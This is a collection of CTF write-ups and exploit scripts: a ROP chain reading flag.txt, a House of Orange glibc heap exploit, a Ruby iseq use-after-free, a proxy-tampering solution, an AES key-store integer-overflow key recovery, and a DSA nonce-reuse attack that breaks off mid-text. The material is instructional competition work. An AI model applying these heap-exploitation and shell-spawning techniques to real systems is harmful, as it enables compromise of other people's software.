rax 115 | jmp_rax(), 116 | jmp_rax(), 117 | ) 118 | 119 | read_addr = main.symbols["read"] 120 | # find closest prime before read 121 | for read_addr_prime_before in xrange(read_addr, 0, -1): 122 | if isPrime(read_addr_prime_before): 123 | break 124 | else: 125 | assert False 126 | 127 | ## rop0 : read(1, $rsp, 499) 128 | rop = flat( 129 | nop() * 28, 130 | set_rdi_1(), 131 | set_rsi_rsp(), 132 | set_rdx(499), 133 | set_rcx_and_others(read_addr_prime_before), 134 | inc_rcx() * (read_addr - read_addr_prime_before), 135 | jmp_rcx(), 136 | ) 137 | assert all([isPrime(qword) for qword in unpack_many(rop)]) 138 | 139 | ## rop1 : open("flag.txt", O_RDONLY) ; read(0, buf, 64) ; write(1, buf, 64) 140 | buf = main.get_section_by_name(".data").header['sh_addr'] 141 | rop1 = flat([ 142 | nop() * 32, 143 | wwwq(buf, u64("flag.txt\x00"[:8])), 144 | wwwq(buf + 8, u64("flag.txt\x00"[8:].ljust(8))), 145 | func_call("open", buf, 0), 146 | func_call("read", 0, buf, 64), 147 | func_call("write", 1, buf, 64), 148 | infloop(), 149 | ]) 150 | 151 | local = False # True 152 | if local: 153 | r = main.process(stdin=PTY) 154 | # gdb.attach(r, """ 155 | # b *{:#x} 156 | # commands 157 | # recorod full 158 | # end 159 | # c 160 | # """.format(u64(nop()))) 161 | else: 162 | r = remote("garbagetruck.chal.pwning.xxx", 6349) 163 | 164 | context.log_level = 'debug' 165 | info("send first rop") 166 | for n in unpack_many(rop): 167 | r.sendlineafter("Pitch", str(n)) 168 | 169 | info("first rop starting...") 170 | r.sendlineafter("Pitch", str(0)) 171 | r.recvuntil("Compacted garbage looks like") 172 | 173 | info("send second rop") 174 | r.sendline(rop1) 175 | 176 | info("flag: {}".format(r.recvregex("PCTF{.*}"))) 177 | r.interactive() 178 | 179 | -------------------------------------------------------------------------------- /2017/ccc/300/README.md: -------------------------------------------------------------------------------- 1 | The [challenge](300) is simple to understand. In the BSS there is a 10-pointers array `allocs`. We can execute one of the following options: 2 | 1. `allocs[slot] = malloc(0x300);` 3 | 2. `read(0, allocs[slot], 0x300);` 4 | 3. `write(1, allocs[slot], strlen(slot));` 5 | 4. `free(allocs[slot]);` 6 | 5. Make the program exit. 7 | 8 | We can quickly get a leak of `heap` and `libc` pointers by freeing two non-consecutive chunks that don't coalesce with the wilderness and read their `fd` pointers. The first will point to the second - `heap` pointer and the second will point to the `unsorted_bin` which resides in `libc`'s data segment. 9 | 10 | Moving on, we see we can not only read freed chunks in the unsorted bin but also overwrite them leads to the conclusion that _unsorted_bin attack_ is the most plausible approach. What is not clear is how to hijack the flow using this attack. My solution was to use the _House of Orange_ which overwrites `_IO_list_all` and hijacks the flow when jumping to the `__overflow` method invoked in `_IO_flush_all_lockp`. 11 | 12 | Quick re-cap: _House of Orange_ & _unsorted_bin attack_. 13 | First step is to abuse `malloc` when sorting the unsorted bin. The implementation does an unsafe unlinking from the back of the list: 14 | ``` 15 | 3503 for (;; ) 16 | 3504 { 17 | 3505 int iters = 0; 18 | 3506 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) 19 | 3507 { 20 | 3508 bck = victim->bk; 21 | ... 22 | 3513 size = chunksize (victim); 23 | ... 24 | 3551 /* remove from unsorted list */ 25 | 3552 unsorted_chunks (av)->bk = bck; 26 | 3553 bck->fd = unsorted_chunks (av); 27 | 3554 28 | 3555 /* Take now instead of binning if exact fit */ 29 | 3556 30 | 3557 if (size == nb) 31 | 3558 { 32 | ... 33 | 3563 void *p = chunk2mem (victim); 34 | 3564 alloc_perturb (p, bytes); 35 | 3565 return p; 36 | 3566 } 37 | 3567 38 | 3568 /* place chunk in bin */ 39 | 3569 40 | 3570 if (in_smallbin_range (size)) 41 | 3571 { 42 | 3572 victim_index = smallbin_index (size); 43 | 3573 bck = bin_at (av, victim_index); 44 | 3574 fwd = bck->fd; 45 | 3575 } 46 | ... 47 | 3625 victim->bk = bck; 48 | 3626 victim->fd = fwd; 49 | 3627 fwd->bk = victim; 50 | 3628 bck->fd = victim; 51 | ... 52 | 3633 } 53 | ``` 54 | The unsafe unlinking happens in line 3553. This line enables an attacker controlling the `bk` pointer of a chunk in the unsorted bin to overwrite any data with the `unsorted_chunks(main_arena)` (which is 0x10 bytes before `main_arena.bins`). If the size of that controlled chunk matches the requested size (line 3557) the code will return that chunk immediately. 55 | 56 | The _House of Orange_ uses this attack and overwrites `_IO_list_all`. Then jumps to `_IO_flush_all_lockp` which is invoked in program's termination. Here is the relevant code: 57 | ``` 58 | 778 fp = (_IO_FILE *) _IO_list_all; 59 | 779 while (fp != NULL) 60 | 780 { 61 | ... 62 | 785 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 63 | 786 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T 64 | 787 || (_IO_vtable_offset (fp) == 0 65 | 788 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr 66 | 789 > fp->_wide_data->_IO_write_base)) 67 | 790 #endif 68 | 791 ) 69 | 792 && _IO_OVERFLOW (fp, EOF) == EOF) 70 | 793 result = EOF; 71 | ... 72 | 806 fp = fp->_chain; 73 | 807 } 74 | ``` 75 | In the first iteration of the loop we don't have too much control, as the fields pointed by `fp` are the `main_arena`'s bins (the data following the `unsorted_chunks`). We can only make them either point to the `libc` data (empty bin) or to the heap (if the bin has some freed chunks). So our objective in the first iteration is to avoid line 792 - the indirect invocation of the `__overflow` method. This actually happens automatically as `fp->_IO_write_ptr` and `fp->_IO_write_base` contain the same value (both are head and tail of the same bin). Then, in line 806 we de-reference `fp->_chain`, which happens to coincide with 0x60-size bin. So we need to populate that bin with a pointer to our controlled data on the heap. We do it in two steps: first, we overwrite a chunk in the unsorted bin to point to our controlled data on the heap and make an allocation. Now, the `bk` pointer of the `unsorted_chunks` points to our controlled data. We craft this data to look like a chunk of size 0x61 with a `bk` pointer pointing to a crafted chunk with size 0x311 and `bk` that points to `_IO_list_all`. This will cause the `fp` in the second iteration to point to our controlled data, where we can satisfy the conditions to invoke the `__overflow` method using our controlled `vtable` pointer (if you unfold all these awful macros you get something like `fp->_vtable.__overflow(fp, EOF)`). 76 | 77 | The exploit we described so far is perfect for glibc 2.23. However, in glibc version 2.24 a new mitigation was added: `IO_validate_vtable` function which ensures that the `FILE` object's `vtable` points somewhere within the `__libc_IO_vtables` section (it's worth reading the implementation, there are nice gems in there). So, this restricts us a little bit. But don't worry! There are plenty of functions pointed in the `__libc_IO_vtables` section and one of them is perfect for our needs: `_IO_wstr_finish`. 78 | Here is the code: 79 | ``` 80 | 325 void 81 | 326 _IO_wstr_finish (_IO_FILE *fp, int dummy) 82 | 327 { 83 | 328 if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) 84 | 329 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base); 85 | ``` 86 | As we control `fp`, we can quite easily satisfy the condition in line 328 and hijack the flow - faking the `_free_buffer` function pointer. 87 | A `one_gadget` is all it takes from here to get to `system("/bin/sh")`. 88 | 89 | You can read the [full exploit here](x.py). 90 | -------------------------------------------------------------------------------- /2018/ccc/sequence/README.md: -------------------------------------------------------------------------------- 1 | # Sequence @ 35C3CTF 2 | 3 | I wish to start with an apology: this one is by far my worst CTF solution. To this moment - I have no idea what was the bug exactly. Our exploit worked statistically. We mostly guess-worked our way. And if you asked me to do it again from scratch, it would probably take the same amount of time. 4 | 5 | However, we first-blooded it and only 3 teams in total solved it, so I feel it's worth sharing. But don't expect some sudden clarity moments or non-vague explanations. You will only be disappointed. All I can offer is a wild hand waving and some intelligent guesses. 6 | 7 | ## Challenge 8 | In the [tarball](sequence-afcf267d78429b4a36dca5bd12bdf45e.tar.gz) you get a Ruby interpreter, libc binary and file named `challenge.rb` which contains the challenge and some other files that are needed to set up the Docker for this challenge (proof of work script, Dockerfile). There is also a README which explains how this whole thing was set up - it's a relatively recent version of Ruby and recent glibc version that run in Ubuntu 18.10 and execute the `challenge.rb` file. The README also hints that https://github.com/niklasb/rubyfun may be helpful. 9 | 10 | Here is the challenge server: 11 | ```ruby 12 | strs = {} 13 | 14 | loop do 15 | print '> ' 16 | STDOUT.flush 17 | cmd, *args = gets.split 18 | begin 19 | case cmd 20 | when 'disas' 21 | stridx = args[0].to_i 22 | puts RubyVM::InstructionSequence::load_from_binary(strs[stridx]).disasm 23 | when 'gc' 24 | GC.start 25 | when 'write' 26 | stridx, i, c = args.map(&:to_i) 27 | (strs[stridx] ||= "\0"*(i + 1))[i] = c.chr 28 | when 'delete' 29 | stridx = args[0].to_i 30 | strs.delete stridx 31 | else 32 | puts "Unknown command" 33 | end 34 | STDOUT.flush 35 | rescue => e 36 | puts "Error: #{e}" 37 | end 38 | end 39 | ``` 40 | It's quite simple. The server has some dictionary of strings which the client can add or delete strings with integers as indices. Adding a string is done by sending a `write ` message, so we can write with an offset. The client can also manually invoke the garbage collector. So far nothing interesting. But there is also a `disas` command which disassembles a string with the `RubyVM::InstructionSequence::load_from_binary` API and prints it to the user. That's it. Adding strings, deleting strings, disassembling strings as ruby instructions and invoking the garbage collector. 41 | 42 | `RubyVM::InstructionSequence` is the way the Ruby VM represents compiled instructions before interpretation. They have their own file format and you can find it's "documentation" in the code. 43 | 44 | ## Bugs 45 | We initially thought it might be a recently fixed bug in Ruby that was not included in the compiled version, but reading the commit logs after the version we received yielded nothing. 46 | We decided to check that rubyfun repo and saw it differs in one commit only from vanila Ruby - it adds an LLVM based fuzzer. This fuzzer targets specifically the RubyVM::InstructionSequence::load_from_binary API and the GC. Seems rather interesting. So we built the fuzzer according to the instructions and gave it a spin. It instantaneously started to spit out crashes. Cheers! 47 | So we ought to exploit an 0day in Ruby, how nice :) 48 | 49 | ## Memory Leak 50 | We executed one of the crashing samples under a debugger and found which part of the code is responsible for parsing this weird file format. We started reading it and tried to build our own file conforming to it from scratch. It uses many offsets in many places but never checks these offsets are not out of bound. So it is quite easy to relatively point to data in the process memory. Perfect for a leak. 51 | However, building this format from scratch is a tedious work which we gave up on after a few hours. My team mate had a better idea - compile a Ruby file that all it has is a string and then change the size of that string in the compiled file. In the fuzzer repo there is a script to compile Ruby code. 52 | This worked exactly as expected! We binary edited the compiled file - increased the string size - and sent it to the server. It printed back plenty of binary data that turned out to be data from the heap. We searched and found some pointers there that turned out to point to the heap and libc. Exactly what we needed. 53 | 54 | ## UAF 55 | We continued reading the implementation, but it was getting overly complicated. We realized that pointing outside our data is good for reading memory, but for getting code execution we need something else. Parsing wrong data is not a promising way to go. 56 | So we turned back to the fuzzer and read the summaries of the logs. Most of them were simple segfaults on reads. But a few had this note: 57 | > == 15659==ERROR: AddressSanitizer: attempting to call malloc_usable_size() for pointer which is not owned: 0x000000000300 58 | 59 | Which seemed interesting. It means for some reason something that is obviously not a pointer is considered a pointer to a chunk. We executed this under a debugger and so it crashed during garbage collection when destroying the `iseq` object that suppose to hold the compiled instructions. 60 | It was even better, it was calling `ruby_xfree` on that pointer when it crashed. Which means that if the pointer was pointing to some valid memory, that memory would have been `free`d. 61 | The pointer was `body->param.opt_table` in the `rb_iseq_free` function. 62 | 63 | We stared at the crashing sample for a while and found the "pointer" that was passed to `ruby_xfree` was actually written there. We flipped bits to verify it - and we were right - it is read from the string which is decompiled. We have no idea why. 64 | 65 | Given the info leak, we have all that we need to pass `free` a pointer to our data. 66 | 67 | After we survived the first crash, it turned out there are two more places where malformed pointer is passed to free, using the `body->param.keyword` in the same function. Fortunately those two other places are also copied from our supplied input so we simply made them NULL. 68 | 69 | ## Exploitation 70 | After sending the leaking string, we changed it and made it look like a 0x70 size memory chunk. We then crafted the UAF string to point to this chunk and triggered the UAF. This gave us control of a freed chunk in the 0x70 fastbin. Then we used fastbin attack to overwrite `__realloc_hook` with a pointer to `system`. 71 | Finally we wrote a string `/bin/sh\x00` and started to increase it's size, adding data to the end. At some point `realloc` was invoked with our data as input which made it execute a shell. The end. 72 | -------------------------------------------------------------------------------- /2018/google_finals/bobneedshelp/README.md: -------------------------------------------------------------------------------- 1 | # GoogleCTF18 Finals - BOBNEEDSHELP 2 | 3 | I played with 5BC and it was a really enjoyable experience all in all. This challenge is a cute little thing and working on it with other people has been a real pleasure. This is a joined work and I am very grateful to the people who took part in solving it with me. 4 | 5 | ## The Challenge 6 | This guy bob set up a bunch of nodes to crack some hashes or something but got locked without access to his network. For some unknown reason, by connecting to Bob's router we are able to communicate with both Bob and the network and thus are able to proxy messages back and forth. 7 | We receive a binary which does this proxy work - GoodProxy. It's written in Go and therefore reversing it is a small hell, but from sniffing the traffic we figured it functions roughly as follows: 8 | ```python 9 | from pwn import * 10 | import json 11 | 12 | r = remote("distributed.ctfcompetition.com" ,1337) 13 | 14 | def wtdb(): 15 | return {"message": {"what_to_do_bob": {}}, "endpoint": "bob"} 16 | 17 | def send_bob(r, j): 18 | r.sendline(json.dumps({'message':j, 'endpoint':'bob'})) 19 | 20 | def send_net(r, j): 21 | r.sendline(json.dumps({'message':j, 'endpoint':'nodenetwork'})) 22 | 23 | while True: 24 | r.sendline(json.dumps(wtdb())) 25 | bresp = json.loads(r.recvline()) 26 | info("request magic {:#032x}".format(bresp['request'['magic'])) 27 | send_net(r, bresp) 28 | nresp = json.loads(r.recvline()) 29 | send_bob(r, nresp) 30 | info(r.recvline()) 31 | ``` 32 | In words - we repeatedly drive a process of working on "magics" - we ask bob what to do, bob sends a "magic request" with a specific magic value. We encapsulate this request and send it to the node network. The node network works on the magic and returns us a work log which we pass on to Bob. Bob thanks us and then we start all over again. 33 | 34 | Here is a the TCP stream of one iteration: 35 | ![Magic Session](session.png) 36 | (Red - messages sent by our binary to the remote router; Blue - messages from the messages received from the router. Note that we specify the addressee of the message with the "endpoint" property of the message.) 37 | 38 | This process repeats and repeats but sometimes, Bob asks the magic "2520" but the node network replies with an error saying that it's not willing to process this request over proxy because it will make Bob reveal his flag. 39 | ![2520 Session](magic_session.png) 40 | 41 | So after pondering a little, the goal of this challenge becomes clear, we need to provide Bob the work log for magic 2520. 42 | 43 | ## Possible Ideas 44 | There are a few ways it may be possible to achieve that: 45 | 1. The binary has some hints or verification about what the "work log" algorithm is, so by reversing it we can find out what's the appropriate log. 46 | 2. To provide Bob "work log" that will suffice him and make him reveal the flag. 47 | 3. To trick the node network to work on this magic and get the correct "work log". 48 | 4. To understand the "work log" logic, synthesize it ourselves and provide it to Bob. 49 | 50 | Reversing the binary yielded no results. 51 | 52 | We provided Bob a work log of different magic when requested to work on magic 2520, but Bob's response was that the log is incorrect and that it's some kind of security breach. 53 | 54 | Tricking the network was an interesting exercise. We tried to send values that differ only in one bit, and we started seeing some patterns. Then someone came up with the idea that the work log function is not bitwise but arithmetic. We started send multiplications of 2520 to the node network and sure enough the node network replied with an error message "I see what you did there". That was a breakthrough! 55 | 56 | ## The Final Leap 57 | We played with some multiplications of numbers and checked a few properties. First we found out that the order of the work log doesn't matter. We shuffled it in the response to Bob and he accepted it anyway without complaining. 58 | Then we started to send different numbers which are multiplications of each other and found out that if A divides B then the work log for A is a subset of the work log for B. 59 | We started looking for other patterns and characterizations, but then a simpler idea struck our minds: maybe we don't really need to fully understand what the function is doing, after all - CTFing is all about cutting some corners and making educated guesses. We decided to just send a union of the work logs of all the factors of 2520 to Bob and see what happen. To our surprise - **it worked** and Bob gave us the flag. 60 | To this day we have no idea what the function was. 61 | 62 | Here is the full script to get the flag: 63 | ```python 64 | from pwn import * 65 | import json 66 | import random 67 | import itertools 68 | 69 | r = remote("distributed.ctfcompetition.com" ,1337) 70 | 71 | def wtdb(): 72 | return {"message": {"what_to_do_bob": {}}, "endpoint": "bob"} 73 | 74 | def send_bob(r, j): 75 | r.sendline(json.dumps({'message':j, 'endpoint':'bob'})) 76 | 77 | def send_net(r, j): 78 | r.sendline(json.dumps({'message':j, 'endpoint':'nodenetwork'})) 79 | 80 | def node_req_magic(r, m): 81 | info("get magic {:d}".format(m)) 82 | send_net(r, {"request": {"magic": m}}) 83 | resp = json.loads(r.recvline()) 84 | if not 'response' in resp: 85 | return None 86 | return resp['response']['work_log'] 87 | 88 | def trip(m): 89 | a = node_req_magic(r, m) 90 | if not a: 91 | return 92 | for d in a: 93 | yield d['from'], d['to'], d['round'] 94 | 95 | def factors(n): 96 | for i in xrange(1,n/2+1): 97 | if n % i == 0: 98 | yield i 99 | 100 | s = set() 101 | for d in factors(2520): 102 | s.update(set(trip(d))) 103 | 104 | work = [{'from':a, 'to':b, 'round':c} for (a,b,c) in s] 105 | 106 | while True: 107 | r.sendline(json.dumps(wtdb())) 108 | bresp = json.loads(r.recvline()) 109 | if bresp['request']['magic'] != 2520: 110 | info("request magic {:#08x}".format(bresp['request']['magic'])) 111 | send_net(r, bresp) 112 | send_bob(r, json.loads(r.recvline())) 113 | r.recvline() 114 | continue 115 | 116 | context.log_level = "debug" 117 | info("+" * 82) 118 | bresp['request']['magic'] = 7 119 | send_net(r, bresp) 120 | nresp = json.loads(r.recvline()) 121 | if 'response' in nresp: 122 | info('replacing') 123 | nresp['response']['magic'] = 2520 124 | nresp['response']['work_log'] = work 125 | send_bob(r, nresp) 126 | r.recvline() 127 | break 128 | 129 | r.sendline(json.dumps(wtdb())) 130 | r.interactive() 131 | ``` 132 | -------------------------------------------------------------------------------- /2017/confidence/crypto/README.md: -------------------------------------------------------------------------------- 1 | # Crypto Solution 2 | 3 | This challenge was a huge fun. 4 | 5 | We are receieved a source code of a service written in C, which sends us a flag encrypted with AES and let us do some operations. The purpose of the challenge is to decrypt the flag. 6 | 7 | The program starts with generating 16 AES keys of 16 bytes long each and put them in a _keystore_ array of bytes. Each entry in the _keystore_ is 17 bytes long - 16 bytes for the key and 1 byte for the key length. Then, it loads the first key from the store to the `current_key` buffer and uses it to encrypt and send the flag. 8 | From that point, we can do the following operations: 9 | 1. regenerate key - sending key _index_ and _length_, the code reads _length_ bytes from `/dev/urandom` to the key in the specified _index_ and sets it's length to be the specified _length_. 10 | 2. load key - copies a key from the specified _index_ in the key store to the beginning of the `curent_key` buffer according to the _length_ of the specified key. 11 | 3. load data - reads 16 bytes of data from the user and puts them in a buffer. 12 | 4. encrypt - encrypt the data buffer with the current key and sends it to the client. 13 | 14 | The challenge is written in C which implies some low level vulnerability. We took a quick look and found a nice integer overflow. The code works with pointer's arithmetic to derive the offset of the entry in the _keystore_, by multiplying the _index_ specified by the user with 17 - which is easily overflown. However, the code **does check** the result is within the boundaries of the _keystore_. So our vulnerabiliy only lets us escape the entry alignment when accessing the _keystore_, but we can't write outside the buffer. Sending an _index_ which is a mutiple of the modular inverse of 17 under 2^32 will cause the multiplication to result with any value we want. 15 | 16 | Now, applying our vulnerability to operation 1 and sending zero length enables us to write a zero byte to weherever we want within the _keystore_. 17 | From here, our algorithm is simple. We regenerate the key in index 1 with sizes from 0 to 15 and each time fill the key with zeros. Then we load this key to the `current_key` and encrypt a plain text with the current key. 18 | The result is that we have `AES(known_plain_text, '0' * len + original_key[len:])` for each length between zero and 15. We can now brute force the cipher text in reverse order and deduce the bytes of the original key one at a time. 19 | Then, we decrypt the original flag with the key we have and we are done. 20 | 21 | ## Original Challenge 22 | 23 | ```C 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include "aes.h" 33 | 34 | #define MAX_KEY_LEN 16 35 | #define KEY_SIZE_LEN 1 36 | #define ENTRY_SIZE (MAX_KEY_LEN + KEY_SIZE_LEN) 37 | #define NUM_KEYS 16 38 | #define STORAGE_SIZE (ENTRY_SIZE * NUM_KEYS) 39 | #define MASTER_KEY_INDEX 0 40 | #define DATA_SIZE 16 41 | 42 | uint8_t keys[STORAGE_SIZE]; 43 | uint8_t data[DATA_SIZE]; 44 | uint8_t current_key[MAX_KEY_LEN]; 45 | 46 | void regenerate_key(unsigned int index, unsigned int len) { 47 | unsigned int offset = index * ENTRY_SIZE; 48 | 49 | if (offset > STORAGE_SIZE - ENTRY_SIZE || len > MAX_KEY_LEN) { 50 | return; 51 | } 52 | 53 | int fd = open("/dev/urandom", O_RDONLY); 54 | read(fd, &keys[offset], len); 55 | close(fd); 56 | keys[offset + MAX_KEY_LEN] = len; 57 | } 58 | 59 | void load_key(unsigned int index) { 60 | unsigned int offset = index * ENTRY_SIZE; 61 | unsigned int key_len = keys[offset + MAX_KEY_LEN]; 62 | if (offset > STORAGE_SIZE - ENTRY_SIZE || key_len > MAX_KEY_LEN) { 63 | return; 64 | } 65 | memcpy(current_key, &keys[offset], key_len); 66 | } 67 | 68 | void encrypt(void) { 69 | uint8_t data_out[DATA_SIZE]; 70 | AES128_ECB_encrypt(data, current_key, data_out); 71 | write(1, data_out, 16); 72 | } 73 | 74 | void load_data(void) { 75 | int ret; 76 | 77 | ret=read(0, data, DATA_SIZE); 78 | if (ret < 1) 79 | exit(0); 80 | } 81 | 82 | int main(void) { 83 | int ret; 84 | int i; 85 | for (i = 0; i < NUM_KEYS; i++) { 86 | regenerate_key(i, MAX_KEY_LEN); 87 | } 88 | 89 | int fd = open("flag.txt", O_RDONLY); 90 | read(fd, data, DATA_SIZE); 91 | close(fd); 92 | 93 | load_key(MASTER_KEY_INDEX); 94 | encrypt(); 95 | 96 | memset(data, 0, DATA_SIZE); 97 | regenerate_key(MASTER_KEY_INDEX, MAX_KEY_LEN); 98 | 99 | char cmd; 100 | unsigned int p1, p2; 101 | while(1) { 102 | ret = read(0, &cmd, 1); 103 | if (ret < 1) 104 | return 0; 105 | if (cmd == 'l') { 106 | load_data(); 107 | } else if (cmd == 'e') { 108 | encrypt(); 109 | } else if (cmd == 'r') { 110 | ret = read(0, &p1, sizeof(p1)); 111 | if (ret < 1) 112 | return 0; 113 | ret=read(0, &p2, sizeof(p2)); 114 | if (ret < 1) 115 | return 0; 116 | regenerate_key(p1, p2); 117 | } else if (cmd == 'k') { 118 | ret=read(0, &p1, sizeof(p1)); 119 | if (ret < 1) 120 | return 0; 121 | load_key(p1); 122 | } 123 | } 124 | } 125 | ``` 126 | 127 | To build the code add the following code as `aes.h` and compile with `-lcrypto` (tested on Ubuntu 16.04). 128 | ```C 129 | #include 130 | #include 131 | 132 | void AES128_ECB_encrypt(void *data, void *current_key, void *data_out) { 133 | unsigned int inlen = 16, outlen = 16; 134 | EVP_CIPHER_CTX ctx; 135 | EVP_CIPHER_CTX_init(&ctx); 136 | EVP_EncryptInit(&ctx, EVP_aes_128_ecb(), current_key, NULL); 137 | EVP_EncryptUpdate(&ctx, data_out, &outlen, data, inlen); 138 | } 139 | ``` 140 | 141 | ## Solution 142 | ```Python 143 | from pwn import * 144 | from Crypto.Cipher import AES 145 | 146 | #r = remote("enc-service.hackable.software", 1337) 147 | r = process("./a.out") 148 | 149 | inv = 4042322161 150 | def offset(o): 151 | return (o * inv) % (2**32) 152 | 153 | def set_key(off, length): 154 | r.send('r' + p32(off) + p32(length)) 155 | 156 | def load_key(off): 157 | r.send('k' + p32(off)) 158 | 159 | def enc(data): 160 | r.send('l' + data) 161 | r.send('e') 162 | return r.recvn(16) 163 | 164 | enc_flag = r.recvn(16) 165 | 166 | KPT = '\0' * 16 167 | CPH = [] 168 | 169 | CPH.append(enc(KPT)) 170 | 171 | for i in xrange(16): 172 | set_key(1,i+1) 173 | for j in xrange(i+1): 174 | off = offset(j+1) 175 | set_key(off,0) 176 | load_key(1) 177 | CPH.append(enc(KPT)) 178 | 179 | for i,c in enumerate(CPH): 180 | print i, c.encode('hex') 181 | 182 | print AES.new(KPT).encrypt(KPT) == CPH.pop() 183 | 184 | key = ['\0'] * 16 185 | 186 | for i, ct in enumerate(reversed(CPH)): 187 | for c in xrange(256): 188 | key[i] = chr(c) 189 | if AES.new(''.join(reversed(key))).encrypt(KPT) == ct: 190 | print "found", i, ":", hex(c) 191 | break 192 | 193 | print "+" * 70 194 | print AES.new(''.join(reversed(key))).decrypt(enc_flag) 195 | print "+" * 70 196 | ``` 197 | -------------------------------------------------------------------------------- /2017/confidence_teaser/public_key_infrastructure/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Public Key Infrastructure 3 | 4 | This is a short writeup on solving the 'Public Key Infrastructure' challenge from the CONfidence teaser CTF by DragonSector. 5 | 6 | ## The Challenge 7 | 8 | We are given an address of a service that runs some [code](task.py) written in python. 9 | 10 | This code implements a service with two functionalities: `register` and `login` which maps to `sign` and `verify`. 11 | The user may ask to sign any name except _admin_ and get some signature. Then, a user can ask to login, providing the username and a signature to get some response from the system. 12 | 13 | From the code above, the objective of the challenge is to pass the `verify` function on the _admin_ name and thus get the flag from the `login` function. 14 | 15 | ## The Dawn Of DSA 16 | 17 | Going over the code, this looks like some signing algorithm which signs/verifies user's messages. A quick search comes up with a very similar algorithm: [DSA](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). 18 | 19 | Comparing DSA outline in wikipedia and the challenges' code, we see the following differences/peculiarities: 20 | 21 | * `r,s` in the signature mustn't be zero in DSA, yet in the challenge they might be 22 | * `n`, which does not exist in DSA, is used in the **beginning** of strings in the `makeK` and `makeMsg` functions 23 | * `k` must be **random** per message, however it's computed with a hash function (deterministic) 24 | * the hash function used for computing k - md5 - is insecure 25 | * the message can be signed locally (no nonce/salt in the username hash) 26 | * the signature `(r,s)` is encoded as ${(s + r*Q)^e mod\ n}$ where $e = 2^{16} + 1$ 27 | 28 | ## Things That Didn't Work 29 | 30 | The first implementation mistake seems very promising. Since we provide the signature to verify, it is very easy to pass a signature such that `r == 0`. Working the equations in the `verify` process, we get that: 31 | $$u2 \equiv r * w = 0$$ 32 | $$v \equiv (G^{u1} * PUBLIC^{u2}) mod\ P\ mod\ Q \equiv G^{u1} * 1 mod\ P\ mod\ Q$$ 33 | Which completely eliminates the public/private component in the system. 34 | 35 | So, in order to solve the challenge, all we need is to find a $u1$ and an integer $\alpha$ such that $Q$ divides $g^{u1}-\alpha * P$ so the comparison of `v` and `r` holds true ($v = G^{u1}\ mod\ P\ mod\ Q \equiv 0 = r$). 36 | 37 | Unfortunately, finding this value is computationaly **hard**. We suspect it is equivalent to the discrete logarithm problem. Just to make sure, we wrote a small brute-force and let it run, but it didn't return any results. 38 | 39 | We also thought maybe put 'name: admin' as part of `n`, and trick the server to sign a request the will hold for `name = 'admin'`, but it was impossible. 40 | 41 | ## Back On Track 42 | 43 | Looking at the other implementation problems, we started wondering what happens if we generate the same `k` for different messages. Some digging online resulted with a short blog describing a [very simple attack](https://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/). 44 | To implement this attack, we need the following: 45 | * two messages - `m1,m2` such that `h(m1) != h(m2)` yet `k(m1) == k(m2)` 46 | * getting the hash, `s` and `r` of each of the messages 47 | 48 | If we have all that, we can compute k as following: 49 | $$k = ({h(m1) - h(m2)) * (s(m1) - s(m2))^{-1}\ mod\ Q}$$ 50 | and than, get the private key from the following formula: 51 | $$PRIVATE = ((s(m1) * k) - h(m1)) * r^{-1}\ mod\ Q$$ 52 | 53 | After getting the private key, we can sign any message (since we know how to generate the hash for a message). 54 | Note that even though we don't get the SECRET using this message, it doesn't matter because the only requirement from K is to be random and it's generation method is not used anywhere in the original algorithm. 55 | 56 | ## Hashes In Colide 57 | 58 | The first step in our plan is to create a hash collision on `k` for two different messages. 59 | Looking at the code, we see: 60 | 61 | ```python 62 | k = int(hashlib.md5('K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}').hexdigest(), 16) 63 | ``` 64 | We have no limitiations on `n`, so we can genearate an MD5 collision on `'K = {n: ' + n ` using [fastcoll](https://github.com/upbit/clone-fastcoll). Due to the [Merkle-Damgard construction](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction) of MD5, if the prefixes collide, adding the same suffix to both messages will also result in collision. Thus, the `SECRET` and limitations on `name` don't really bother us. 65 | 66 | ## Getting The Signature 67 | 68 | Here we find ourselves in an uncharted territory. The register function returns ${(s + r*Q)^e mod\ n}$ where $e = 2^{16} + 1$ and we need to get the original `s,r`. 69 | 70 | The solution was quite ineteresting. We can extend `n` as much as we want. Padding `n` with `\x00` bytes is, in-fact, multiplying `n` by $256$. We note that $x\ mod\ nm\ mod\ m \equiv x\ mod\ m$ for any $n,m$. 71 | So we pad our collision with enough `\x00` that eventually $2^{320} = 16^{40}$ divides $n$ (why 320? because $Q$ is 160 bit, thus $s + r*Q$ is at most $160*2$ bit) 72 | 73 | Then, we send a _register_ request with some name and our `n`. Now, denote $sig := s + r*Q$, so the result is $sig^{e} mod\ n$. According to the fact above follows: $sig^{e} mod\ n\ mod\ 2^{320} = sig^{e} mod\ 2^{320}$. We compute $d \equiv e^{-1} mod\ \varphi (2^{320})$ (therefore exists $t$ such that $e*d - 1 = t * \varphi(2^{320})$). According to [Euler's Theorem](https://en.wikipedia.org/wiki/Euler%27s_theorem) if $sig$ is odd ($sig,2^{320}$ are co-prime) then 74 | $$(sig^{e})^{d} \equiv sig^{e*d} \equiv sig * sig^{e*d - 1} \equiv sig * sig^{t * \varphi(2^{320})} \equiv sig * (sig^{\varphi(2^{320})})^t \equiv sig * 1^t \equiv sig $$. 75 | 76 | And this is how we can extract the original $sig$. 77 | 78 | If $sig$ is not odd, this fails miserably and $(sig^{e})^{d}$ will result in 0, giving us a good indication wether we extracted a valid signature or not. 79 | 80 | ## Executing The Attack 81 | 82 | We take the hash collisions we found for the prefix 'K ={n: ' and extend it with 40 '\x00', denote it with `n1,n2`. 83 | Then choose a `name` - 'a' and send _register_ requests to the server with `name` and `n1,n2` and exponentiate the response by $e^{-1}\ mod\ \varphi(2^{320})$ and save it as `sig1` and `sig2`. 84 | If the responses are even, we try again with a different name. 85 | We can verify we extracted the correct signatures by sending a _login_ request to the server with the signatures. 86 | Then, we extract `r` and `s` for each signature and 